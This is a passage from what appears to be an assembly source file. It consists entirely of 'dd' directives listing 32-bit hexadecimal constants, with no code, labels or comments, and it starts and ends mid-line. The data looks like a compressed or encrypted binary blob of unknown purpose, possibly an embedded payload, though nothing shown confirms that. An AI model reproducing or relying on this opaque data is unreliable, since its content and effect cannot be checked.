802E3AF8h, 0B8261FCEh, 965DEBF4h, 4893652Dh, 0B8B88EBCh dd 5925756Ch, 4D76510Dh, 42C26CBCh, 23B2B8D6h, 0F66FB452h dd 38190D84h, 45B61C68h, 60562A24h, 1908B6B3h, 0ADB8B9A4h dd 0B6621E4Ch, 8FA450E4h, 760DE04Ch, 29FF1E42h, 8ABA4A8Bh dd 0CD170A9Eh, 30EB56D7h, 68224058h, 0C9887D33h, 0D62E05E8h dd 439DE04Fh, 48FCB74Eh, 0CE600B05h, 0AD2039Ah, 7848AC00h dd 0BB10D90Bh, 13152D56h, 0DA41B315h, 122949A3h, 4CC80354h dd 0D3EA080Ch, 0F158060Ch, 459C01Fh, 0DB7A80C5h, 6D8A8923h dd 514A14B2h, 87402213h, 0CD656013h, 76FCF657h, 1114B28h dd 1E0AE47Ah, 9E4FC68h, 0F85C20AAh, 0B53EA403h, 7DCD5865h dd 0F24C8420h, 2E0468F8h, 12CCCC14h, 0A2CE73CBh, 83675112h dd 0C96BE25Dh, 0FB3D897Dh, 893A8835h, 19C12B24h, 0E8458189h dd 3E0DEC1Ch, 1EDAAAA0h, 1D8725DEh, 7D0BB8A6h, 8180A4DEh dd 0AD26EE0Ch, 761CE0CDh, 0F87E1C74h, 0E1EB06FCh, 9E3F4CEFh dd 0CD66C4EBh, 0A41120C5h, 8030702Eh, 0CAF2ECEh, 9A8B025Ah dd 96621823h, 328D1033h, 5156164Dh, 70B9914Bh, 0E52B5EC9h dd 27A63525h, 4E22D026h, 8832E707h, 6E78B982h, 892FBB42h dd 0BB31B78Ah, 9D84E8F0h, 6A2326C2h, 0D1162200h, 6AF44FD8h dd 0F068680Dh, 1C0DC6F0h, 0ACE84822h, 308816E8h, 0EC58EC27h dd 4BD92ABAh, 59335468h, 0FC0B2210h, 4161195h, 0EC1A1175h dd 8EB16720h, 197558B5h, 4DD2005h, 33050372h, 726F802h dd 4010672h, 1D3DAC16h, 0D429AA19h, 0C6BCD006h, 0BAAE46CEh dd 0AEE0B5E0h, 6E919040h, 38370C42h, 202D9CF4h, 0F735E1C6h dd 440F0015h, 12711A21h, 25ECCC2Dh, 0D9A35E06h, 0E631020h dd 3965262Bh, 4706E5B2h, 23057516h, 30B3921Bh, 1619022Dh dd 66822498h, 254C9C2Dh, 191E4390h, 90DBB44Ch, 0F28C405Dh dd 2CF626FEh, 133B2D08h, 1B6E106Fh, 4477950Eh, 0EE8B9424h dd 0D554BFEh, 451B277Bh, 60325E59h, 148539DFh, 76AD2F74h dd 0DB2F14FFh, 4626DBF8h, 4E3560FAh, 0D43C80Eh, 7ACCF0DCh dd 54D264EBh, 0DC2EF7C5h dd 37FAFF37h, 0B240B364h, 6F08243Fh, 1D77B365h, 123A5048h dd 0C3B3ED65h, 95B491CCh, 9B159FE6h, 6C9DF21Dh, 8E1AB4D5h dd 0ACC1121Bh, 4551ECBCh, 0E2CBC51Bh, 9794C557h, 2C92A64h dd 82CE40BAh, 5CE4D8ECh, 0F28F1002h, 0C85E1B0Eh, 70B22287h dd 0BB25FCA8h, 2DC83917h, 0D4F9D4F7h, 4B7206F9h, 790CB352h dd 0CDF9C0E3h, 0D5BD196h, 33B06EBAh, 0EC219620h, 3323426Ch dd 7A89BB15h, 592C58CFh, 9BACA240h, 6CEC590Eh, 0CBFECB4h dd 3E136AA5h, 0E316484Eh, 0FA0D0599h, 0D9071821h, 6670DC96h dd 0E00A2161h, 2A89C480h, 9A790BA7h, 3FF45993h, 0B26410F5h dd 0F973F882h, 526CD197h, 0E060A0h, 0CCC216E4h, 1269396Fh dd 0B00DFAFAh, 0C3D7124h, 932740h, 0FCB70D30h, 0F55567F0h dd 408B2508h, 6CEC9332h, 292A8701h, 930EF91Ch, 0BCDD015Dh dd 0B3A20DF9h, 0A64A207h, 0F603030Bh, 95142B1Ch, 2481AFCh dd 73064E4Dh, 850124A0h, 8327212Fh, 4E860214h, 6B16B0D9h dd 76B5096Dh, 9F417030h, 8A4E1B6Ch, 6B169685h, 0F5D73646h dd 0B8890B21h, 8E0017C6h, 80011EF1h, 0FE7A12A5h, 9B1B16FAh dd 2F8A250Ch, 490B2388h, 0B8C8BC11h, 1C251E28h, 3002699Ch dd 0F45479E8h, 2868F130h, 99F770CFh, 5E7AACECh, 7635147Dh dd 259A1A0h, 25F07630h, 0D5F78081h, 8CB0BD87h, 0FC354D22h dd 14024D11h, 0E5FE165Dh, 766A89A4h, 45131FC2h, 452DE82Dh dd 0B31A1EECh, 0F8FC1D2Bh, 735BB5FBh, 3B41C969h, 2A8C72C1h dd 882C2C3Fh, 820A3266h, 47644AC1h, 0D040F44Ch, 1005C0C5h dd 0D96ACD86h, 33D2EBECh, 3E3191CFh, 493D08FAh, 0B01EB00Dh dd 0B20E7C2Ch, 28739F23h, 17F62819h, 2CA40F0h, 8223183Eh dd 2CD1462Fh, 0C1206124h, 881A7998h, 31D9F9F9h, 68845E10h dd 3F06CFE7h, 75E8CDD2h, 2E617B74h, 0F586A834h, 0C0A833BAh dd 7B7B1BB1h, 77D78A43h, 0A02AF616h, 9FDE8EC8h, 3E48895Fh dd 331EB81Ch, 1D960A0Dh, 42DD320Eh, 109AF7D3h, 97FA2FB5h dd 0C89979FCh, 275A9A0Dh, 0F8A46E70h, 0E4918730h, 0A4A4F9ACh dd 0D784B638h, 2D4F0B91h, 6491DC68h, 101ACA63h, 0EC9A4A3h dd 161D80A2h, 841003E8h, 2901F083h, 59792B05h, 0A13CD56h dd 0A41C15E0h, 0E0289CFCh, 0A0F89A45h, 0C643650Ch, 98DEDC12h dd 0AB56185h, 0E55E1C36h, 24C0453Ah, 34A85F75h, 6587C178h dd 0AD2CA0A4h, 0C572AAD6h, 2ACCFC12h, 0E630D9EAh, 305AEB21h dd 9AC2E065h, 95690ECh, 921D92CCh, 0DCA61524h, 88A2900h dd 25A2A357h, 59F20CF0h, 0D5B23218h, 5C14141Eh, 0DDA23140h dd 9037DC0Ch, 12D411ADh, 25371B76h, 708F054h, 91DD36D0h dd 0D0D0F9A0h, 0BD00007h, 0F4367232h, 47BEF6C8h, 1BF436FAh dd 0C08B1C36h, 0CC1CC873h, 67064BCCh, 6D519BDDh, 3602056Dh dd 9D595BF0h, 0DC431B78h, 8D59A8F4h, 0FE0868B1h, 7F25910Ch dd 0E740126h, 10C05F8h, 0B9076F7Ch, 1A888710h, 80F40B6Dh dd 1EB21CB7h, 266922F0h, 0F3A043E4h, 0F02605F8h, 0D9B7B259h dd 0B0FFF416h, 0BC795C3Fh, 0CCA3AAC0h, 349CECCFh, 93A8A472h dd 9C76C924h, 601D04h, 8BECD003h, 0E02ECD20h, 0D0001217h dd 5C8E7554h, 0FCCC542Ah, 0E903FB7Ch, 0E5922628h, 0E99E2DD4h dd 2885D575h, 0B33806FAh, 78C83917h, 6FB78FBh, 80C3090Ch dd 6A226E00h, 139016F7h, 84FB78F2h, 99221DFBh, 804916D9h dd 0CB12E422h, 0C970BCEh, 4BFB8032h, 0E573E40Eh, 0D1FB8000h dd 0CF90725Eh, 0FB70FB70h, 0FC42FC42h, 43C49E42h, 802FEB45h dd 273306FBh, 0DB0121DFh, 12790211h, 29DC4E4Bh, 0B65EFC42h dd 2D6D366Ch, 0B28A3C1Bh, 4F9556B9h, 0DF081E0Ah, 0CD689712h dd 2011C66Ch, 0AD1DDF65h, 5439037Dh, 1D8826FEh, 0BA3E2808h dd 72DF6C91h, 872502EDh, 25AEBC47h, 13310405h, 1E08C9CDh dd 0FB748914h, 0CC042774h, 97A31E09h, 7810FB64h, 0EF053BC6h dd 849A332Dh, 80723903h, 7CFB64FBh, 781B20D5h, 0A73A7CE7h dd 8DC8FB74h, 0FB64E4A6h, 0FB74B41Ah, 6CB03420h, 0CA1EB34Bh dd 8FC64762h, 7ECFD0BEh, 50598810h, 0D008032Bh, 319AA4BDh dd 2DE1BD13h, 9DE3261Dh, 0FCCC524Bh, 0A38CDC9Eh, 5DCA6D82h dd 0D8D02114h, 2D442C8h, 21205D29h, 0C470727h, 2A103901h dd 764884BFh, 3068EF04h, 0B38CB8D0h, 5607203Ch, 9503C0F0h dd 102068FCh, 0D064680Fh, 0E8105554h, 97FCB583h, 65B3020h dd 90AE0CEEh, 6169735Eh, 19120093h, 2C258661h, 0E7FE89Ah dd 9D9B0195h, 6C6F0C4Dh, 92B4172Dh, 80E9903Fh, 617A2944h dd 6F593C91h, 81A3B23h, 0FDDB34F4h, 884C3610h, 0A1253B64h dd 0CC159330h, 0DC6925CEh, 0BC3843FDh, 0FC86B20Ah, 218407E0h dd 7C32A292h, 94E0886Eh, 0BC40529Ch, 27908D02h, 2B13FB7h dd 0DD27FD44h, 8662CDA9h, 48A3EE4Eh, 48648h, 36EE2E78h dd 2B0C498Eh, 5CAAD823h, 30606880h, 0ACD100F6h, 0EB91E9A9h dd 17EAB45Eh, 21C93456h, 853B3DFBh, 3B24726Ch, 3256D0C8h dd 0EB101F64h, 46982322h, 0E0208F41h, 0A7C588E1h, 0AA332210h dd 2A861713h, 2810F23Ah, 423705h, 0CD2CC682h, 0B789239Fh dd 0EA60F0F0h, 2EF000h, 36EE2138h, 415247C0h, 1F647F87h dd 87213269h, 410068C4h, 0C8D206F4h, 5F43C85h, 1D0AF404h dd 6FA8AC0Dh, 0F2870E1Fh, 0EE0C9A13h, 0F4EED15Dh, 8741C168h dd 184C833Ch, 7B40B3DCh, 66204E22h, 0A666038Bh, 857804A7h dd 0FD4096EEh, 207B3F0Eh, 0F27F835h, 744685B7h, 0E1138C1Bh dd 8B4F4407h, 0C2320367h, 0F7A06FD7h, 6AC01C50h, 50894052h dd 0D58390F2h, 40FD3C49h, 0AD6CEAFDh, 92580F0Dh, 41598D64h dd 7E9A5DFCh, 6AA17A05h, 1AB3C30Ah, 931CBC16h, 0BE40BB05h dd 4405187Ah, 0BC1B1630h, 4566A1B2h, 8FED0566h, 0C267D030h dd 6714FD9Eh, 0D663347Fh, 107AB00Eh, 0A4B88B02h, 581EAC06h dd 28107D71h, 0A3DE1E22h, 63EE0549h, 4391DA8h, 0AE35286Eh dd 8552E687h, 88A7613h, 25FD2C72h, 65D90814h, 38A8B9E8h dd 2A67DA10h, 34882B6Fh, 364B7A39h, 8356115h, 988812B5h dd 8B50F564h, 0EF5216CEh, 665705DBh, 6A4B0850h, 0F450184Ah dd 4A926487h, 0DF37284Fh, 4E021975h, 140F0619h, 245B5202h dd 83F2B45h, 2E02F7C8h, 0B304EC1Fh, 0E1A9F590h, 53009E18h dd 76EC0C7Fh, 0F88E7512h, 0A46F5247h, 1966E897h, 9C9E4AE4h dd 0E4E43Ch, 0E4E42B74h, 0E0E0E0B9h, 4E080B29h, 8DA7D1BEh dd 660E7506h, 0BF8853AEh, 6734CC39h, 7906EC0Dh, 14167109h dd 5D08DC6Fh, 0F6CECDDCh, 23DC9E14h, 0B2326608h, 0D823FC9Ch dd 0D8F00200h, 0C481C8D8h, 105EFAA3h, 1B81B663h, 770C9310h dd 0B358B0C4h, 5073806Fh, 13AA4C0Ah, 3646C148h, 0C0B09CD1h dd 4390E08Ch, 515E0520h, 0D2E7453Ch, 0F7A04C9h, 87F16DA0h dd 1086831Ah, 6638A297h, 4A0068A0h, 132BD140h, 0F4C95680h dd 108A2C27h, 0E733F4C5h, 0E280CD03h, 3B3BF0F6h, 53B077Ch dd 6D680A4h, 0C326112Bh, 8590681Ah, 2E8233DAh, 5E668998h dd 0A018BFEDh, 0B340496Dh, 11651A80h, 63A2AB14h, 0A8293404h dd 0E40C704Dh, 0D29C9F61h, 0E024C07h, 0C0468005h, 11520DB2h dd 0C1FEC78h, 6C6644F4h, 4CB8280Bh, 0B0418C15h, 829D2BAh dd 161A8293h, 0BEA3C738h, 3A817E85h, 0C8D23B13h, 6C62C4E8h dd 521C05CBh, 0A8090650h, 0DAC373E0h, 58182B9Fh, 0CE9077F7h dd 15337068h, 5C9B7104h dd 196CC3Eh, 0E4808D4h, 596084Eh, 0C56C01E2h, 1B2AA4E1h dd 0F7799F4h, 700400B2h, 5377405h, 0F6317402h, 0B208D962h dd 51B55044h, 532C8305h, 0E51AE0E0h, 4128AA3Bh, 0BE0FF4EDh dd 1102F445h, 0A575C33Fh, 6D39D67Dh, 0A4E40B79h, 105E079h dd 7159ED4h, 382680A1h, 0FCD487CAh, 40F40A01h, 8E06A83Eh dd 1CD903CAh, 0FCD8D3B8h, 2829FE7Ch, 16950130h, 8C148B48h dd 6680E1D1h, 5A291CC2h, 3C316516h, 72390FCh, 3EFC3CD9h dd 4FFC3CA6h, 3C1C9301h, 40EC40FCh, 40167D8Ah, 8B0E736Fh dd 3100CF11h, 7232028h, 7D8B36B2h, 2F098B19h, 204D5351h dd 0E335366Ah, 0D232365Eh, 11444487h, 8B597E2Ah, 93FB3426h dd 27FD10A4h, 9E08C160h, 992C9527h, 8B763623h, 0D05B0347h dd 0D10D0C0Eh, 0B08BF3AAh, 0A2AC3932h, 0E70A2BD7h, 239A4A24h dd 3048235Bh, 0B9E4A8FAh, 1738EF92h, 8A9828A0h, 34AE792Bh dd 64352C90h, 3870ABE4h, 0CC6C7BDCh, 3B63CB11h, 0C1830F8Dh dd 390B901Ah, 0B427281Bh, 19390B28h, 8C349919h, 90191939h dd 642C7134h, 0B901986h, 5928492Ch, 3CE31720h, 66063BFBh dd 0DCF9F34Ch, 3C0B05DEh, 0BCFA3CFAh, 596450FBh, 0FA8805BEh dd 0B10EB08Dh, 48F5F312h, 3C8C848Eh, 74FB19DDh, 0C8C84E38h dd 64333CD8h, 0BEFC4C28h, 5479190Bh, 4419FB34h, 464AD82Eh dd 0B15062Ch, 37C078C6h, 47D15CE1h, 1602C17Fh, 0C1B72603h dd 8A60BD96h, 698543ABh, 666B1A4Ah, 206E1833h, 623A418Ah dd 44AFE931h, 91825919h, 0FE05A248h, 0C88096FEh, 6E896787h dd 330733FCh, 82781446h, 0C0C2CE19h, 0A23B3776h, 0B3D07948h dd 0C79D96F7h, 9753F8B4h, 593923ACh, 14D2DC0Eh, 51BF003Dh dd 0EBAF0D2Ch, 0C8EAEBECh, 32850E41h, 4A1ED3E0h, 0F463AD1h dd 0A06FDDB8h, 9CDC0C5Eh, 512A0090h, 60F410CCh, 38028A9h dd 0C6E417F6h, 81270Ch, 5BB008F6h, 8D8BEC45h, 851B905h dd 109BD425h, 2E1EC041h, 0B600EA14h, 0F20C3F62h, 77F6E436h dd 3D7D0005h, 5AF410DEh, 0E7E4816Bh, 0FC4DF030h, 0B42511FFh dd 66C362A6h, 0C607DC4Ah, 8C50F6E8h, 1A0C0951h, 0FD2B24F0h dd 43196F60h, 3680A75h, 4EE41240h, 3CECD738h, 7641E34Dh dd 0FB1867B6h, 8B0D8B9Dh, 38A60790h, 0DCF9FEC3h, 24F024A1h dd 486816F0h, 171C41D6h, 0B5BDFB16h, 8B4A4913h, 753CC24h dd 2C2173A2h, 6CA39000h, 2CE29E65h, 0E1C1F9F2h, 1429868Bh dd 0F9F414D6h, 0EC13831Ch, 0F5AC22FDh, 120AF5ECh, 710BDEF6h dd 82BD0EF7h, 14F55FFAh, 0B3748878h, 5F170D7h, 3E4100F7h dd 51A703F5h, 0F410FB09h, 0BE86DFDDh, 30558305h, 8B3EB58Dh dd 6800A5FCh, 0B1BD4119h, 4FB88A10h, 70D1B9F3h, 308A538h dd 816028Dh, 3E4B78F2h, 8F20807h, 0D8D90BF2h, 18994839h dd 19B45037h, 0A361A419h, 463C1818h, 1C646426h, 841C181Ch dd 1C4B9017h, 0C42E1453h, 0F1F8A726h, 0EFFC1771h, 7C9E4942h dd 0EFFCEFFCh, 0A2FB392Dh, 0E2F11E82h, 0E7C9703h, 0ECF1EC72h dd 0ECF1ECF1h, 922E45F6h, 502510F1h, 1906482h, 1010E94Bh dd 65919099h, 10141454h, 192E473Eh, 0F1F01414h, 0F3CF1ECh dd 0ECF44019h, 25D5F8F1h, 0F8F88C83h, 7E11C907h, 2D103CCDh dd 0F0E70C68h, 0EF6C9DFDh, 5DE87363h, 0D91C1806h, 0EC853639h dd 0F00467F4h, 2F7B64F8h, 333F08CCh, 784A18F7h, 9E4EDE06h dd 19640B27h, 808E419h, 464B0C44h, 80C6426h, 0D11B920Ch dd 18F60C90h, 1456D0F1h, 0A7496A5Fh, 0D939E283h, 14C1A91Ch dd 98B3EB10h, 8FEE7A9h, 470D0767h, 3BB1C73Ah, 7E4D739Dh dd 0B60F0313h, 5388D7FBh, 0C63EF270h, 0DA040584h, 0BB2D1536h dd 221BEB2Ch, 0FDF11462h, 1D4DECDCh, 0EB06582Ah, 9A566297h dd 0A480399Fh, 0A3000305h, 0A4DE12Ch, 1C6C2FDFh, 9040EE9h dd 70FCF814h, 0AC1C80A4h, 8DF21011h, 0D54270Ch, 5BE640B5h dd 342B178Ah, 1EA9A906h, 9D608435h, 0D5612817h, 1523AC8Fh dd 5AD5C0F2h, 0D0506814h, 0D5B4D948h, 58221B55h, 8131ECF2h dd 48ADF120h, 4A60C72h, 1ACA14F6h, 1638B005h, 2C493826h dd 0BAEC343Bh, 1604C9E5h, 5CC13A0Bh, 4F201E1Fh, 5A506818h dd 0F038F902h, 454F90Dh, 66F10476h, 10E3F26Fh, 7F03403h dd 1B30C30Dh, 0B2330333h, 72E4B607h, 1DF034C8h, 1E0DF038h dd 3F6E7ECBh, 2F7DEB06h, 4EC8550Eh, 3CDC9E1Ah, 94F65348h dd 74406BBDh, 742E1328h, 95F2714h, 759091B9h, 8CF03869h dd 7E6583F7h, 11FE453Eh, 0BA79806Ch, 0F6060EB0h, 0E77B0C1Ah dd 0F18AD419h, 6F1085Fh, 0DEDE775Ch, 4406ADFh, 8DF70F39h dd 7C310128h, 0BD87C25Eh, 4CF6F03Ch, 77F03CD5h, 1684D958h dd 115D416h, 46B25976h, 517242Dh, 40DF2532h, 63A0A068h dd 0A0C957B2h, 3C4FF08Bh, 4C611A48h, 90644F8h, 0BD256A03h dd 39304258h, 6D2A30D0h, 6D0CC958h, 131BF346h, 35403CD8h dd 0D4F40184h, 0BE792B4Bh, 691AAC65h, 2B04D6ECh, 0DA16DE7Bh dd 0D6C81208h, 48692Eh, 0B0E44265h, 20E40F46h, 4E6775F1h dd 0CAB58116h, 26F5500Eh, 7B00F580h, 49F5D494h, 725111DCh dd 0D54C3902h, 1C95D54Ch, 0D54CE402h, 2074D438h, 538AA03Ch dd 4BC40866h, 1B44A006h, 4E269205h, 2E9C342h, 0D8BA4817h dd 0F0D94123h, 0D0EC2301h, 0C7406859h, 0BEA6ECA0h, 0D9A1272h dd 0D3FCE0A9h, 47461725h, 82284F10h, 3B02F11Ah, 35487597h dd 3D084C04h, 3ABEAC08h, 4A3E3493h, 0F21EA0C8h, 4EF4D658h dd 7DB011F6h, 2D87896Dh, 42108538h, 0BE19B6CCh, 41830904h dd 7207AB02h, 62FA48D8h, 0C03209ACh, 6FB99C8h, 64E4E4EFh dd 44FCF8F4h, 9DE0B522h, 0FA44BD5Fh, 1831CE06h, 0C005E009h dd 62CAB83h, 7DE56ABCh, 0E2851B01h, 45EC4505h, 0EC304525h dd 1941D784h, 5593B02Bh, 68670AD0h, 6E902170h, 208F9052h dd 219043F8h, 0FBFC64E4h, 6DD141F9h, 40A8B14Bh, 0FA4026FAh dd 2F206CF2h, 3C37D724h, 9C53B0FAh, 7440A96Dh, 7921C93Eh dd 0F4010C2Eh, 0A5CF41FBh, 0FBE4A35Ah, 0DB9E540h, 8373C56h dd 0AF2EFA3Ch, 0F4CF2C8Ch, 1CF825FBh, 0F903D8BBh, 0FA481150h dd 931BF54Dh, 562882ECh, 4038FA38h, 0FA9160BEh, 40341E43h dd 34649B0Eh, 20303DF4h, 30649C83h, 602CFA3Ch, 2C324C87h dd 6C1E28F0h, 283260B3h, 87340591h, 308C8C88h, 206FDC2Ch dd 0D67CC14Dh, 90DF4C56h, 7F55911Eh, 0C801D78Ch, 60F24680h dd 0AA9E795Bh, 0E0D1740Ah, 0A353FDEAh, 0DC3554Ah, 21ACD9A6h dd 9E411408h, 26D62A34h, 817C9ED9h, 74202B04h, 0AAC2C0Eh dd 9F9452D8h, 0D53D153Dh, 1DBC9864h, 8A7658ABh, 0A52A459Fh dd 36AA3B67h, 1C7226B6h, 315F681Fh, 0C0ACB9DBh, 243D4EE7h dd 92B968FCh, 2217493h, 6646D808h, 3A49900h, 0AC10247Ch dd 0C0049264h, 388AFC9h, 19B8163Eh, 0F1040872h, 0ECAB6857h dd 82805CE9h, 0E9F4E800h, 8EFC402Bh, 23098D8Dh, 39070FC1h dd 6AA00A10h, 909DB49Ah, 0BFB4E61Fh, 5356E9ECh, 410E28DAh dd 26ED60B2h, 5DA09173h, 933C0C33h, 40C7010Dh, 0AC29EEACh dd 2CA404EEh, 4CEFB4C9h, 23909CD7h, 0B8EFB8F9h, 0DC498BEFh dd 46802843h, 4214BC85h, 2ED60BC0h, 0E4C4562Ch, 675B2A52h dd 0F0EEB0D5h, 47C4230Eh, 0B00A21E0h, 3211CFAFh, 9806501Ah dd 8415B56h, 0EF255CE4h, 45076788h, 0E9E9E43Ch, 4C1B9F23h dd 0E9F090CFh, 308CE9ECh dd 0DA9F203Ch, 0A580EBF4h, 2A4F328Ch, 0B45FADCAh, 0EEB527EEh dd 26D9DF70h, 9D139C1Dh, 9E029208h, 342738A9h, 0E2867B2Dh dd 132404F3h, 573C0525h, 0D61D2731h, 0E8DCC951h, 66BD267Fh dd 0DC839313h, 5F0D98DCh, 0EFC9EFC8h, 7B01A182h, 0EC4E4B10h dd 999B2E71h, 1FA4302Dh, 0B3C2A844h, 28AF6141h, 0B30590D0h dd 78480763h, 21FEE854h, 0FD978D7Ah, 16133356h, 3D9DEA35h dd 161C085Eh, 0E002D8Bh, 47597786h, 4A254BF4h, 75D3A384h dd 88B5B97Ah, 51140C7Ah, 0FD88E9D8h, 0BB05DE35h, 3BC12B28h dd 0F671BD37h, 0E25126A3h, 0C02B8A1Ah, 0B36004E8h, 0D83A8326h dd 18B0343Dh, 0D1784AE0h, 0A66E8DB0h, 0A0B26DDEh, 0CD5206F8h dd 68C54F9Eh, 0ED82CF03h, 46CD1D16h, 11614430h, 212C4274h dd 8820D243h, 24980Ch, 0C066E341h, 3735911Ah, 0EDA83F80h dd 25793375h, 9875C907h, 71EFE9E8h, 0C97F242Ah, 72AA0578h dd 0DDCE7B3Ch, 76DB34Eh, 8CF00F89h, 0ECE648B0h, 613DE648h dd 0C0622F6h, 14587319h, 0B955CC44h, 64F61710h, 100C8B67h dd 1C2D00C6h, 3206D60Ah, 1B713E21h, 13D82CE4h, 7B8DEB2Eh dd 0B9C896Ch, 3F87591Bh, 6CEA2218h, 184D9827h, 0BD4118Dh dd 844B207Bh, 2D817C7Fh, 12CFEC0Fh, 3DA57F1Fh, 633B0632h dd 807F406Ch, 801C2689h, 5EB343C3h, 2870109h, 13246DB9h dd 0E64CE4B6h, 38201023h, 0E750E404h, 8D8210BFh, 0DB230F24h dd 5868D80h, 6EDA1062h, 0F9A3B25Bh, 4CA8E858h, 1AF51735h dd 2B47B888h, 0B5EC3C0Ah, 98BD882h, 58752A46h, 3996082Fh dd 0A486DFFh, 2B0C5D48h, 6373E95h, 485B51ECh, 50E8500Fh dd 881C22E8h, 4CC36549h, 0F7328B54h, 0C674AB15h, 8B6B3DCCh dd 577F055Fh, 85221C70h, 6BC28CC0h, 6F5125C4h, 0E0EBE2A1h dd 0B2AB545Fh, 6E191A89h, 1C0B5754h, 80460089h, 0EA800003h dd 4F9E009h, 0CB9A6578h, 0BDF4F468h, 8367900Fh, 808F4AAh dd 21608002h, 813A4B01h, 0C053DC04h, 5F692BDAh, 89210024h dd 0C9552F4Ah, 1D616888h, 0BD525361h, 0EC402E51h, 8C57B355h dd 780A8932h, 72EF6B2Bh, 581A18E9h, 994409Bh, 18608D3Eh dd 3C244506h, 0B236780Eh, 0D57724Fh, 762C9567h, 9C0C10B0h dd 0CD23D859h, 6D40C800h, 8A419002h, 980A98E8h, 878B0511h dd 0A312DCB8h, 488BEE12h, 7BF46B0Eh, 0DC10092Ah, 0DB04353Dh dd 0DB0035E8h, 1AE9BA7Fh, 53FC0AB6h, 68F8076Ah, 5B90DE88h dd 0A4137C97h, 0D8C520EEh, 2F4AF5EEh, 6EED872h, 311805CAh dd 9092A0A8h, 3556747Ch, 0F8103D0Bh, 517E67A9h, 5ED10EBh dd 548A010Ah, 62762D90h, 3D05DBB3h, 4F04CF2Bh, 2D8B839Fh dd 498EBB76h, 0AAF209C2h, 7F75D904h, 0BC44D0ACh, 5BFD9568h dd 0E5510D94h, 0E7DCBC81h, 4CCE6ADDh, 0A3DF7C54h, 5040901h dd 8499266h, 9E40100Ch, 0EEE03E15h, 282A11C9h, 0EBFCC2ECh dd 7D820C36h, 2FDD5901h, 0DEF747BCh, 74B8137h, 5DD0E48h dd 0AB994ECCh, 42EB4080h, 7646C28h, 0EEDF9C01h, 6062122Dh dd 5751D731h, 48C34D2Eh, 9524B08Ah, 5BE9C25Eh, 0ED628A82h dd 4338022Ch, 0CA02AC25h, 0DB98E572h, 8207D859h, 6DCAB22h dd 0A871EFE4h, 75334066h, 64AA13B5h, 0B23B786Bh, 0FD48D9D4h dd 6751923h, 140EB3F9h, 0A2093C05h, 0DE7C2D8Ah, 5921B22Fh dd 0EFE4F91Eh, 12716106h, 38AFEBD0h, 3702C3E8h, 7FB12009h dd 8DC9E6BCh, 0DCEEDC1Eh, 0C36309EEh, 4A3D82CBh, 0D93C99F4h dd 2812633Fh, 1C5AFBBAh, 68707468h, 8C50C318h, 3A97BB90h dd 6C681521h, 170A033Fh, 6811BD44h, 0EAADE2Ch, 59E60058h dd 0D140859h, 0C897E484h, 0C34F8256h, 552C25FFh, 0C8C8BC05h dd 0B4B8C8C8h, 0C8C8ACB0h, 0A4A8C8C8h, 0C8CD9CA0h, 9498C8C8h dd 46CC8C90h, 0CCB64646h, 80848825h, 4645977Ch, 747846h dd 752F7D51h, 4C4F3D84h, 81145D24h, 462D0BE9h, 4FB1C40h dd 73170185h, 436EDFECh, 0CC4DBD1h, 0D18BE18Bh, 165FC350h dd 70B19192h, 686C4Dh, 0FE276DD0h, 24448B53h, 52D10B14h dd 50C0B10h, 5F556DD1h, 0B70807F1h, 0BB628895h, 195C5081h dd 4AFFFC0Bh, 0E9D11554h, 0EAD1DBD1h, 0C90BD8D1h, 0DFBBF78Eh dd 1BF3B76Dh, 913D64F7h, 0D1031004h, 243B0E72h, 76DD0877h dd 280773BBh, 52B0876h, 14111B10h, 0F6B00807h, 0F70C375Bh dd 0DA83A9DAh, 0A7C25B00h, 0A419A47Fh, 1880563Bh, 6B191014h dd 8AD86F74h, 80E1D307h, 0B2199B14h, 0F0809E98h, 9A6DC839h dd 0F7C47EC1h, 71083E6h, 0F0B2760Ch, 4C610ADEh, 725EC68Bh dd 56E16401h, 57603243h, 3FF3328h, 3EF6B75Ah, 6547147Dh dd 0D883A9A5h, 3B0E4B89h, 748913EBh, 26181B1Ch, 1C99877Bh dd 0B63F18B6h, 0B1B3F610h, 5419D841h, 0D1EBD1D4h, 0C8C9B6D9h dd 0F1DB3348h, 83C2181Ch, 1014320Ch, 3207754Fh, 1EC646C6h dd 5CC15F5Eh, 46540558h, 50464646h, 4644484Ch, 40464646h dd 9134383Ch, 30464611h, 70240928h, 6AA50608h, 635D1258h dd 1660EDB8h, 8D0A6C89h, 15F83F03h, 3108481Ah, 3DCF7407h dd 83474498h, 6F70F1ABh, 76382A98h, 558D7482h, 3DBBA20Ch dd 0A06852F0h, 111127DEh, 561C317Ch, 0A68A5B5Ch, 0C1D0814h dd 0EB440EF6h, 867D8A5h, 5EF68528h, 7B9553Dh, 0C8578E0Ch dd 2AABD961h, 5FB7AA18h, 8B64C072h, 6870C52h, 8B56C830h dd 0D5CF0C19h, 0F708EBBFh, 6473B868h, 4B89ED5h, 83F18B56h dd 7FBDBF66h, 4460C97h, 0B406C7C6h, 80E5272h, 7C800D74h dd 8BAC639Ch, 82065324h, 11550D04h, 2DE7E3BDh, 9AF64A39h dd 56077401h, 9B9AC18h, 4DD21B4Fh, 6ECDB68Bh, 4E898BB7h dd 5608402Eh, 5854C0B0h, 486C0E7Bh, 6E1B8B04h, 6C14BB5Ch dd 0C76791Bh, 0BA4656DFh, 0B02A0D9Ah, 14C0395Eh, 0C6660C80h dd 0A4801805h, 6D918462h, 77201C27h, 0DC33058Dh, 4B1FE1BDh dd 804C33Bh, 3B0F21Eh, 0F1EC0B7Ch, 0AC2050B8h, 0FF141975h dd 4100455Eh, 7A0AF40Bh, 0CF44C344h, 0B1D4552Dh, 35F7D49h dd 5C978D00h, 95720F7Eh, 6AE7958Ah, 0F75DB7BDh, 3FDB9h dd 3DB07C5h, 50772F0h, 59B66C6Fh, 8673382Eh, 331FDEB0h dd 361F2137h, 4172C075h, 0EC1B1301h, 3BD8490Bh, 47D013E0h dd 8725764h, 13207308h, 2FB07EE9h, 2013283Bh, 4199305h dd 7B3B7023h, 0B05B2160h, 7BC1B6Fh, 9F966E49h, 26FC597h dd 0B3416FD1h, 87607748h, 7F211B10h, 906C3732h, 6B2F4E90h dd 0A23D5B00h, 3B809800h, 0D33FFF5Ch, 14400374h, 8A9BAA28h dd 88998DBCh, 0C884B78Bh, 0C4FFFFFFh, 0AAA3F993h, 0ABB697C9h dd 0B187A487h, 0D9B59EBCh, 86A5E398h, 0AA8EA5CAh, 0FFFFEC89h dd 0BFAD2BBFh, 0A6B5BF9Ch, 0DFBB9EADh, 9AB8E595h, 85B69FC9h dd 1B9184A7h, 29FFFB7Fh, 0B0BAA1BFh, 0EA85B5A7h, 9BA5E2B5h dd 8D8F57C3h, 0A7BDA7BAh, 0FFFD900Bh, 83E4AAACh, 0D48C84F9h dd 8DBAAB8Fh, 